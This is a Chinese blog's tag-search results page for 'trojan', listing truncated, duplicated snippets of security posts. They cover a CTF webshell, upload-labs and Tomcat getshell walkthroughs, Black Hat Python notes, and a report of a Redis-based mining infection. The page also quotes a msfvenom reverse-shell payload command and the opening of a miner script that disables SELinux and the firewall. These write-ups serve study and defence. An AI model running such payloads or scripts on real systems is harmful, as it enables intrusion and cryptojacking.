搜索结果
查询Tags标签： 木马，共有 52条记录-
EZ-webshell
打开题目，可以看见是一句话木马，还提示菜刀
2021/10/12 7:14:18 人评论 次浏览 -
EZ-webshell
打开题目，可以看见是一句话木马，还提示菜刀
2021/10/12 7:14:18 人评论 次浏览 -
渗透测试中说的Shell和Webshll到底是什么？
"牛逼的Shell和WebShell"
2021/10/4 7:12:37 人评论 次浏览 -
渗透测试中说的Shell和Webshll到底是什么？
"牛逼的Shell和WebShell"
2021/10/4 7:12:37 人评论 次浏览 -
06_移动端-3D转换-5 旋转木马
<!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,…
2021/10/3 23:41:51 人评论 次浏览 -
06_移动端-3D转换-5 旋转木马
<!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,…
2021/10/3 23:41:51 人评论 次浏览 -
Meteasploit -> CS 【会话转移】
流程:大致流程，msfvenom生成木马->目标机运行木马->msf监听到会话->转移到CS 开始：先让服务端的CS上线cs客户端连接cs服务端cs设置监听生成木马 msfvenom -p windows/x64/meterpreter_reverse_http lhost=104.xx.xx.xx lport=6677 -f exe -o msf1.exe 生成后开…
2021/8/31 17:36:19 人评论 次浏览 -
Meteasploit -> CS 【会话转移】
流程:大致流程，msfvenom生成木马->目标机运行木马->msf监听到会话->转移到CS 开始：先让服务端的CS上线cs客户端连接cs服务端cs设置监听生成木马 msfvenom -p windows/x64/meterpreter_reverse_http lhost=104.xx.xx.xx lport=6677 -f exe -o msf1.exe 生成后开…
2021/8/31 17:36:19 人评论 次浏览 -
upload_labs靶场
关卡1 攻略 上传php文件，提示允许的上传类型为jpg、png、gif打开抓包软件，并没有上传错误的这条报文记录，可判断:上传文件的验证在前端#制作符合前端要求的一句话木马上传后缀名为jpg，内容为一句话木马的文件，并抓包修改后缀名通过复制图片地址，确定上传后的文件路径…
2021/8/20 23:06:10 人评论 次浏览 -
upload_labs靶场
关卡1 攻略 上传php文件，提示允许的上传类型为jpg、png、gif打开抓包软件，并没有上传错误的这条报文记录，可判断:上传文件的验证在前端#制作符合前端要求的一句话木马上传后缀名为jpg，内容为一句话木马的文件，并抓包修改后缀名通过复制图片地址，确定上传后的文件路径…
2021/8/20 23:06:10 人评论 次浏览 -
服务器被攻击植入挖矿木马
昨天晚上服务器报警提示被攻击植入木马程序 打开宝塔面板查看，好家伙，负载和CPU使用率直接满了我怀疑是最近配置redis的原因 查看了redis 好家伙，所有key都给我删了 存入了4个backup，而这四个的值都是一段指令 而且我查看日志发现，定时任务日志中出现了相同的指令…
2021/7/30 6:08:57 人评论 次浏览 -
服务器被攻击植入挖矿木马
昨天晚上服务器报警提示被攻击植入木马程序 打开宝塔面板查看，好家伙，负载和CPU使用率直接满了我怀疑是最近配置redis的原因 查看了redis 好家伙，所有key都给我删了 存入了4个backup，而这四个的值都是一段指令 而且我查看日志发现，定时任务日志中出现了相同的指令…
2021/7/30 6:08:57 人评论 次浏览 -
《Python黑帽子：黑客与渗透测试编程之道》读书笔记（六）：基于github的木马
目录 前言1、github的配置2、创建模块3、木马配置4、编写基于github通信的木马 结语前言 《Python黑帽子：黑客与渗透测试编程之道》的读书笔记，会包括书中源码，并自己将其中一些改写成Python3版本。书是比较老了，anyway，还是本很好的书 本篇是第7章基于github的木马 …
2021/6/8 12:25:11 人评论 次浏览 -
挖矿病毒 木马 脚本赏析
#!/bin/bash SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin setenforce 0 2>/dev/null ulimit -n 65535 ufw disable iptables -F echo "vm.nr_hugepages=$((1168+$(nproc)))" | tee -a /etc/sysctl.conf sysctl -w vm.nr_hugepages=$((1168+$(nproc)…
2021/6/7 10:20:54 人评论 次浏览 -
tomcat8+ 弱口令 && 后台getshell 漏洞复现
1、漏洞利用 访问http://your ip:8080/manager/html，进入后台登录，输入弱密码tomcat:tomcat。 制作一个木马文件，准备一个ma.jsp，再将它压缩成ma.zip，压缩完成后再将后缀名改为ma.war 木马内容如下: <%@ page language="java" contentType="text/h…
2021/5/20 7:31:03 人评论 次浏览
